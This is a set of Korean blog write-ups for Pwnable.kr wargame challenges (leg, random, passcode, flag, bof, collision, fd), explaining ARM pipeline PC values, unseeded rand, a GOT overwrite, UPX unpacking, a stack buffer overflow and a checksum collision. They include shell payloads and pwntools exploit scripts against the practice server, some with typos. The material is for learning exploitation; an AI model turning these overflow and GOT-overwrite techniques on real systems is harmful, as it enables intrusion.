이번 문제는 arm 어셈블리 관련 문제이다.


URL에서 소스코드와 어셈블리 코드를 다운받고 열어봤다.




leg.c 파일이다.


key를 입력받고 key1, key2, key3 함수를 호출한 반환 값들을 모두 더하고 key와 비교한다.


key가 일치하면 플래그가 출력되므로 우리는 key1, key2, key3 함수의 반한 값을 알아내면 된다.





key1 함수의 어셈블리 코드이다.


arm에서는 함수를 호출할 때 레지스터를 이용하고


r0~r3 레지스트리가 파라미터 패싱에 사용된 것으로 기억한다. 


예를들면

printf("%d", 3);


이런 코드를 컴파일하면 ia-32 어셈블리에서는 스택을 이용해서 파라미터 패싱을 한다.


esp로 스택의 공간을 벌리고 "%d"에 해당하는 문자열을 push, 3을 push, 함수의 반환 주소를 push


그러나 arm에서는


r0 레지스터에 "%d", r1 레지스터에 3을 넣고 함수를 호출한다. 함수의 반환 주소는 lr 레지스터에 저장된다.


함수의 반환 값은 r0 레지스터에 담고 함수가 종료된다.



0x0008ce0 주소의 명령어


 mov  r0, r3


여기서 r0 레지스터에 r3의 값을 담게되고


이후 r0에는 어떠한 값을 넣지 않으므로 결과적으로 r3의 값이 함수의 반환 값이다.


r3에서는 바로 위에서 pc(program counter)의 값을 담았다.


pc는 다음 실행할 명령어의 주소를 갖고있으므로 0x0008cdc의 다음 명령어의 주소인 0x0008ce0가 r0에 들어갈 것이다.




일단 key1의 반환 값은 "0x0008ce0"





key2 함수이다.


마찬가지로 가장 마지막으로 r0 레지스터를 건드는 것부터 역추적을 해보면


0x0008d10에서 mov  r0, r3 명령어로 r3의 값을 r0로 옮긴다.


r3에는 무엇이 있는지 올라가보면


0x0008d04에서  mov r3, pc 명령어로 pc의 값을 r3에 옮기고 바로 다음에


0x0008d06에서  adds r3, #4 명령어로 r3에 4를 더한 값을 다시 저장한다.


그 이후는 r3의 값을 변경하지 않는다.


즉 r3에는


0x0008d04에서의 pc이므로 0x0008d06와 4를 더한 값인 0x0008d0a가 담겨있을 것이다.



key2의 반환 값은 "0x0008d0a"





key3 함수이다.


여기서는 0x0008d28에서  mov  r3, lr 명령어를 수행하고 이 r3의 값이 다음 명령어에서 r0에 담기고 함는 종료된다.


lr 레지스터는 앞서 말했듯이 함수의 반환 주소를 담고있으므로 main으로 돌아가 함수의 반환 주소를 확인해보면


lr 레지스터의 값을 알 수 있다.





main 함수의 어셈블리 코드이다.


key3를 호출하는 부분


0x00008d7c에서 key3가 호출되므로 lr 레지스터의 값은 그 다음 명령어인


0x00008d80일 것이다



key3의 반환 값 "0x00008d80"




key1 + key2 + key3 =  0x0008ce0 + 0x0008d0a + 0x00008d80







이제 공격을 해보자.




안된다.


처음엔 계산을 잘못한 줄 알고 다시했는데.. 그래도 안된다.



이유는 친절하게 여기서 알아볼 수 있다.



http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.ddi0084f/ch01s01s01.html






몰랐는데.. ARM은 3-stage pipeline이란 걸 사용하는데 쉽게 설명하면 명령어를 실행할 때


Fetch -> Decode -> Execute 단계를 거친단다.


즉 명령어를 실행할 땐 이미 세 번째 단계인 것이고


다음 명령어는 Decode 단계


그 다음 명령어는 Fetch 단계이다.


즉 PC 계산이 잘못된 것인데.. 이걸 적용해서 PC를 다시 계산해보면





PC를 사용했던 key1 함수에서


네모로 표시된 명령어를 수행할 때 PC는 다음 다음 명령어(화살표)를 가리킨다.


따라서 r3에 들어간 pc의 값은 0x0008ce4이다.




마찬가지로 key2 함수에서


네모로 표시된 명령어를 수행할 때 pc는 화살표 부분이고


따라서 네모 부분에서 r3에 들어간 pc의 값은 0x0008d08이고 여기서 4 더한 값인


0x0008d0c가 key2의 반환 값이 된다.



다시 계산을 해보면


key1 + key2 + key3 = 0x0008ce4 + 0x0008d0c + 0x0008d80









'CTF 공부 > Pwnable.kr' 카테고리의 다른 글

10. shellshock  (0) 2018.09.26
9. mistake  (0) 2018.09.26
7. input  (0) 2018.09.25
6. random  (0) 2018.09.16
5. passcode  (0) 2018.09.15


'CTF 공부 > Pwnable.kr' 카테고리의 다른 글

9. mistake  (0) 2018.09.26
8. leg  (0) 2018.09.25
6. random  (0) 2018.09.16
5. passcode  (0) 2018.09.15
4. flag  (0) 2018.09.13



random value 문제인가보다


들어가보자





같은 형식이다.


random.c를 읽어보자





난수를 발생시키고 난수와 key를 xor한 결과가 0xdeadbeef와 일치하면 플래그를 읽을 수 있다.


근데 난수 발생에 그냥 rand 함수를 사용한다.


실제 예측이 불가능한 난수를 발생시키기 위해선 seed 값을 줘야 하고


이 seed 값 또한 같으면 같은 난수를 발생시키기 때문에


현재 시간을 이용하여 seed를 주고 난수를 발생시키는 방법을 사용한다.




아무튼 정리하면.. 같은 난수가 나오기 때문에 rand 반환 값을 추적하면 답이 나온다..





rand를 호출한 직후(+18) bp를 걸고 함수 반환 값을 저장하는 eax 레지스터를 조사한다.





답이다.


0x6b8b4567



이 값(0x6b8b4567)과 0xdeadbeef를 xor 연산을 하면 key가 나온다.






3,039,230,856







'CTF 공부 > Pwnable.kr' 카테고리의 다른 글

8. leg  (0) 2018.09.25
7. input  (0) 2018.09.25
5. passcode  (0) 2018.09.15
4. flag  (0) 2018.09.13
3. bof  (0) 2018.09.13




컴파일 할 때 warning이 떴다고 한다.


코드를 살펴보자





warning이 뜰 만한 곳이 어디가 있나 찾다가


위에 빨간색 상자로 표시한 passcode 부분에 주소연산자(&)가 없는 것을 알았다..


첨엔 뭐가 잘못된 건 줄 모르고 실행했는데




segmentation fault....




후에 소스코드를 자세히 살펴보니 passcode1과 passcode2에 주소연산자가 없는 것을 발견했고


당연히 segmentation fault가 뜨는 것이 이해가 갔다.





정상적인 입력이라면 위와 같아야 한다.


passcode1의 주소에 입력을 받아야 하지만


주소연산자(&)가 없는 경우엔 다음과 같이 된다.






주소연산자가 없으면 scanf로 입력받은 입력 값은 passcode1의 주소에 할당되지 않고


passcode1의 주소에 있는 값을 한 번 더 참조해서 거기에 값이 할당된다.


그래서 건드릴 수 없는 영역의 메모리를 건드려 segmentation fault가 뜨는 것이다.





여기서 생각해볼 수 있는 공격 방법은


만약 passcode1의 주소에 임의의 값(ex) 0xaabb)을 넣을 수 있으면


내가 scanf로 입력하는 값은 임의의 주소(ex) 0xaabb)로 들어가게 될 것이다.


한마디로 하나의 임의의 주소에 원하는 값을 쓸 수 있게 되는 것이다.


그럼 혹시 passcode1의 주소를 덮을 수 있는 방법이 없나 살펴보면


login 함수 호출 전에 로그인 ID를 입력받는 welcome 함수를 생각해볼 수 있다.





welcome 함수에선 이렇게 100바이트 문자열에 입력을 받는다.


입력한 문자열의 시작 주소가 어딘지 살펴본다.






저기서 입력한 값이 시작되더라.


0xff83dcac


char name[100] 변수에 입력한 값이 시작되는 주소이다.


그럼 login 함수의 passcode1의 주소가 어딘지 살펴본다.




login 함수에서 첫 번째 scanf가 호출되기 전에 매개변수를 스택에 쌓는 부분이다.


"%d" 문자열을 먼저 eax 레지스터에 넣고 


ebp레지스터 주소의 0x10을 뺀 곳의 값을 edx 레지스터에 넣는다.


그리고 esp의 주소와 esp+4의 주소에 edx와 eax를 각 각 넣는 것을 볼 수 있다.


eax레지스터에는 "%d"가 있으므로 edx가 passcode1의 주소일 것이다.


edx레지스터는 ebp레지스터에서 0x10을 뺀 곳에서 왔으므로 해당 부분에 bp를 걸고


ebp-0x10의 주소를 확인해본다.





0xff82dd08이 ebp-0x10의 주소이다


해당 주소 내에 있는 0xf760fcab가 우리가 scanf로 입력한 값이 실제로 할당될 주소이다.


welcome 함수에서 사용하는 name 변수와 얼마나 차이가 있는지 살펴본다




name 변수의 입력 주소로부터 96바이트 차이가 나고 그 이후부터 passcode1의 주소가 있다.


welcome 함수에서 97번째 바이트부터 원하는 주소를 입력하면


passcode1의 값을 수정할 수 있다.


그럼 이제 passcode1에 있는 주소를 어떤 주소로 바꿔야 하는지 고민했는데


이건 GOT overwrite 문제인 것을 깨달았다..



1. PLT와 GOT란?



PLT와 GOT를 여기서 다루기엔 너무 양이 많아서 자세히 설명된 타 블로그 게시물의 링크를 첨부한다..



무튼.. 라이브러리 함수를 호출할 때 GOT 테이블을 참조해서 실제 함수의 프로시져를 호출하는데


GOT 테이블을 조작하여 임의의 주소를 덮으면 해당 라이브러리 함수가 호출될 때 덮어진 주소로 점프하게 된다.






예를들어 이번 문제에서는 fflush 함수를 이용할 수 있다.


fflush 함수를 호출하면 먼저 PLT로 점프하고 PLT에서 GOT로 점프하여


실제 fflush 함수에 대해 매핑된 메모리 주소로 점프를 하게 된다.



이 문제에서 그러면 passcode1의 주소를 GOT에서 fflush에 매핑된 주소로 덮고


scanf 함수의 입력으로 우리가 원하는 주소를 적으면 fflush가 호출될 때


우리가 원하는 주소로 가게 된다.




그러면 우리가 원하는 주소는 뭐냐?




이거지.


if절 다 짤라먹고 결국 저거만 실행시키면 되는거다.


저 주소는 어디냐면 




빨간색 박스 부분이다.


0x080485d7 저 부분의 주소로 fflush의 GOT 주소를 바꾸면 fflush가 호출될 때 플래그를 읽을 수 있다.




여기까지 파악이 됐으니까 이제 fflush의 GOT 주소만 알아내면 된다.





fflush가 호출될 때 0x8048430이라는 주소를 호출한다.


이 부분이 PLT의 주소이고 이 부분의 명령어들을 출력해보면



이렇다. 여기 가자마자 0x804a004로 점프를 하는데


이 부분을 가면




fflush의 GOT 주소가 여기인거다.


0x804a004


찾았다.



추가로 오버해서 설명을 적으면 이 주소에 할당된 0x08048436 이 주소는 실제 fflush 프로시져의 주소는 아니다.


fflush가 최초로 호출된 것이라서 실제 프로시져의 주소를 알기 위해서


dll_resolve를 통해 실제 주소를 가져와 GOT에 쓰고, 이후 호출될 때는 GOT에 쓰여진 실제 주소를 통해


라이브러리 함수가 사용되는 것이다.


자세한건 위에 PLT와 GOT 정리 글을...




아무튼 정리해서..


1. welcome의 name 입력 부에서 96바이트를 아무 문자나 입력


2. 97번째 바이트부턴 passcode1의 주소이므로 0x804a004를 입력


3. scanf가 호출되면 0x080485d7(flag를 읽는 system 함수)을 입력




그러면 scanf를 통해 읽는 값(0x080485d7)이 0x804a004(fflush의 GOT 프로시져 주소)에 쓰여지기 때문에 


ffush를 호출하면 플래그를 읽는 명령어를 호출하게 되는 것!


passcode1에 입력하는 값은 정수형으로 변환해서..





페이로드는 이렇게..


1
(python -'print "A"*96 + "\x04\xa0\x04\x08"' ; cat) | ./passcode
cs








pwntools


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
 
id   = 'passcode'
host = 'pwnable.kr'
port = 2222
pw   = 'guest'
 
= ssh(id, host, port=port, password=pw)
 
= 0x0804a004
 
payload = 'A'*96 + p32(p)
 
res = s.run('./passcode')
 
res.sendline(payload)
 
res.sendline('134514135')
 
print res.recvall()
 
s.close()
 
 
cs





조금씩 어려워진당...

'CTF 공부 > Pwnable.kr' 카테고리의 다른 글

7. input  (0) 2018.09.25
6. random  (0) 2018.09.16
4. flag  (0) 2018.09.13
3. bof  (0) 2018.09.13
2. collision  (0) 2018.09.13


패킹된(packed) 선물을 줬단다.


패킹된 바이너리를 던져주고 플래그를 찾는 것 같다.


링크로 접속하여 바이너리를 다운받고 hex editor로 열어봤다.




elf 형식의 리눅스 실행 파일이고 UPX 패킹된 것을 확인할 수 있었다.


리눅스 환경에서 언패킹을 진행한다.





elf 형식 언패킹을 해본적이 없어서 검색해보니 위와 같이 upx -d 명령어로 간단하게 언패킹이 가능했다.


언패킹 된 바이너리를 디버거에 올려봤다.





바로 flag를 참조하는 명령어 발견...





'CTF 공부 > Pwnable.kr' 카테고리의 다른 글

6. random  (0) 2018.09.16
5. passcode  (0) 2018.09.15
3. bof  (0) 2018.09.13
2. collision  (0) 2018.09.13
1. fd  (0) 2018.09.13


문제 5번은 이름부터 bof이다.


설명에도 버퍼 오버플로우 취약점이 언급되는 것으로 봐서 버퍼 오버플로우 관련 문제인 것을 유추할 수 있다.


바이너리와 바이너리의 소스코드로 추정되는 링크가 주어지고 해당 파일을 분석하여


netcat을 이용해서 공격을 수행하는 것으로 보인다.




다운받은 bof.c 소스코드이다.


func 함수에 0xdeadbeef라는 값을 전달하고 func 내에서 overflowme라는 32바이트 문자열에 사용자로부터 입력을 받는다. 


파라미터로 전달받은 key의 값이 0xcafebabe와 일치할 경우 shell이 실행된다


overflowme 변수를 오버플로우시켜 매개변수로 전달받은 key의 값을 0xcafebabe로 변조에 성공하면 서버의 쉘이 실행된다.


먼저 gdb를 이용하여 bof의 스택 구조를 살펴본다.



bof 바이너리의 main 함수이다


해당 함수에서 esp 레지스터에 0xdeadbeef 값을 할당하는 명령어에 


break point를 걸고 실행을 시켜 0xdeadbeef 값의 위치를 추적한다.






esp 레지스터에 0xffffd3c0 주소가 들어있는 것을 확인할 수 있었으며 해당 위치에 0xdeadbeef 값이 할당된다.





확인 결과 위와 같이 실제 0xffffd3c0 주소에 0xdeadbeef 값이 들어간 것을 확인할 수 있었다.


이제 func 함수의 gets 함수를 이용하여 오버플로우 시켜 해당 메모리 영역을 0xcafebabe로 덮으면 된다.


먼저 gets 함수에 입력하는 값이 메모리 영역의 어디에 쓰이는지 확인하기 위해 func 함수를 살펴본다.





gets 이후 메모리 영역을 살펴봐야 하므로 gets 함수를 호출하는 다음 명령어에 bp를 걸고 실행한다


gets 함수가 실행되고 입력을 요구하여 임의의 ‘a’문자로만 구성된 문자열을 입력했다.


이후 ebp 레지스터에 8바이트 더한 메모리 영역의 값과 0xcafebabe와 비교하는 명령어가 있기 때문에 ebp 레지스터의 주소 주변을 출력했다.





확인 결과 입력한 ‘a’로 구성된 문자열의 시작하는 주소가 0xffffd38c였으며 


입력하는 값은 해당 주소부터 리틀엔디안 방식으로 입력되는 것을 확인할 수 있었다.


 0xdeadbeef 까지 길이는 52바이트이므로 다음과 같은 페이로드를 작성할 수 있다.



1
`python -c ‘print “a”*52 + “\be\xba\xfe\xca”’`
cs


해당 페이로드를 바이너리에 입력하면 오버플로우가되고 /bin/sh가 실행된다.


netcat 명령어를 이용하여 서버상의 바이너리를 페이로드를 입력하여 실행한다.



1
(python -'print "a"*52 + "\xbe\xba\xfe\xca"' ; cat) | nc pwnable.kr 9000
cs









pwntools



1
2
3
4
5
6
7
8
9
10
from pwn import *
 
= remote("pwnable.kr"9000)
 
payload = "A" * 52 + p32(0xcafebabe)
 
c.sendline(payload)
 
c.interactive()
 
cs





'CTF 공부 > Pwnable.kr' 카테고리의 다른 글

6. random  (0) 2018.09.16
5. passcode  (0) 2018.09.15
4. flag  (0) 2018.09.13
2. collision  (0) 2018.09.13
1. fd  (0) 2018.09.13


아빠가 MD5 해시 충돌을 알려줬다고 한다.


이번에도 힌트를 통해 해시 충돌과 관련된 문제임을 알 수 있다.


알려준 주소로 접속해본다.



1번 문제와 크게 다르지 않은 형식으로 권한이 없는 flag 파일을 setuid가 활성화 된 col 바이너리를 실행하여 읽는 것으로 추정된다.


col.c 파일을 열어 col 바이너리가 어떤 일을 수행하는지 살펴본다.




첫 번째로 전달받은 argv[1]check_password에게 전달하여 호출하고 반환되는 값이 hashcode와 일치할 경우 flag가 출력된다


두 번째 if문을 통해 argv[1]의 값은 반드시 20바이트여야 함을 알 수 있다.


Check_password 함수를 확인하면 전달받은 문자열을 int* ip로 가리킨다


반복을 돌며 ip의 인덱스를 증가시키며 문자열을 읽고 res에 더한다




정리하면 전달받은 문자열을 4바이트 단위로 끊어 모두 더하고 해당 값이 0x21DD09EC와 일치하면 플래그가 출력된다.



간단하게 0x21DD09EC 5회 나눠서 페이로드를 작성하였고 나누어 떨어지지 않아 0x04 만큼의 손실이 발생하여 


마지막 수는 0x04만큼 더 더하여 작성하였다.


1
./col `python -c ‘print “\x06\xC5\xCE\xC8”*4 + “\x06\xC5\xCE\xCC”’`
cs


페이로드를 입력하여 실행한 결과 패스코드가 일치하지 않음.


리틀엔디안 방식으로 재배치하여 입력



1
./col `python -c ‘print “\xC8\xCE\xC5\x06”*4 + “\xCC\CE\xC5\x06”’`
cs













pwntools


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
 
id   = 'col'
host = 'pwnable.kr'
port = 2222
pw   = 'guest'
= ssh(id, host, port=port, password=pw)
 
payload1 = 0x06c5cec8
payload2 = 0x06c5cecc
 
payload = p32(payload1)*4 + p32(payload2)
 
 
res = s.run('./col ' + payload)
 
#.sendline(payload)
 
print res.recvall()
 
s.close()
cs







'CTF 공부 > Pwnable.kr' 카테고리의 다른 글

6. random  (0) 2018.09.16
5. passcode  (0) 2018.09.15
4. flag  (0) 2018.09.13
3. bof  (0) 2018.09.13
1. fd  (0) 2018.09.13

Mommy! what is a file descriptor in Linux?


이 문장에서 문제가 리눅스의 파일디스크립터와 관련이 있을 것으로 유추할 수 있다.


일단 안내해준 주소 접속해본다.




주소로 접속하여 해당 디렉토리 내에 어떤 파일이 있는지 살펴본다.


flag라는 파일이 fd_pwn 계정 및 root 그룹에게만 read 권한이 있다.




접속한 계정은 fd 계정이므로 당연히 읽을 수 없다.




해당 디렉토리 내에 fd 파일에 setuid 플래그가 있는 것을 확인할 수 있다.


해당 바이너리를 이용하여 fd_pwn의 권한으로 flag를 읽을 수 있을 수 있다.


디렉토리 내의 fd.c 파일을 열어 fd가 어떤 일을 수행하는지 확인해본다.



해당 바이너리는 특수 조건을 만족하면 “/bin/cat flag” 명령어를 수행한다. 따라서 해당 조건을 만족하면 flag를 획득할 수 있다.


첫 번째 인자를 문자열 형식에서 정수형 형식으로 바꾼 후 0x1234를 뺀 값을 fd로 저장한다.


후에 fd로부터 buf 32바이트를 읽은 것을 확인할 수 있으며 조건문은 fd로부터 읽은 값이 “LETMEWIN\n”과 일치할 경우 실행된다


현재 터미널에서 바이너리에 실질적인 값을 전달할 수 있는 방법은 표준 입력으로 파일디스크립터 0번을 사용한다


따라서 argv[1]0x1234를 전달하면 fd 0이되고 표준 입력인 터미널로 바이너리에 입력 값을 전달할 수 있게된다


0x1234를 전달하기 위해 먼저 십진수로 변환하면 다음과 같다.




10진수로 4660을 전달하면 플래그 획득 가능













1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
 
shell = ssh("fd","pwnable.kr",port=2222,password="guest")
 
sh=shell.run('./fd 4660')
sh.sendline('LETMEWIN')
 
print sh.recvall()
 
shell.close()
 
 
cs


pwntools 사용




'CTF 공부 > Pwnable.kr' 카테고리의 다른 글

6. random  (0) 2018.09.16
5. passcode  (0) 2018.09.15
4. flag  (0) 2018.09.13
3. bof  (0) 2018.09.13
2. collision  (0) 2018.09.13

+ Recent posts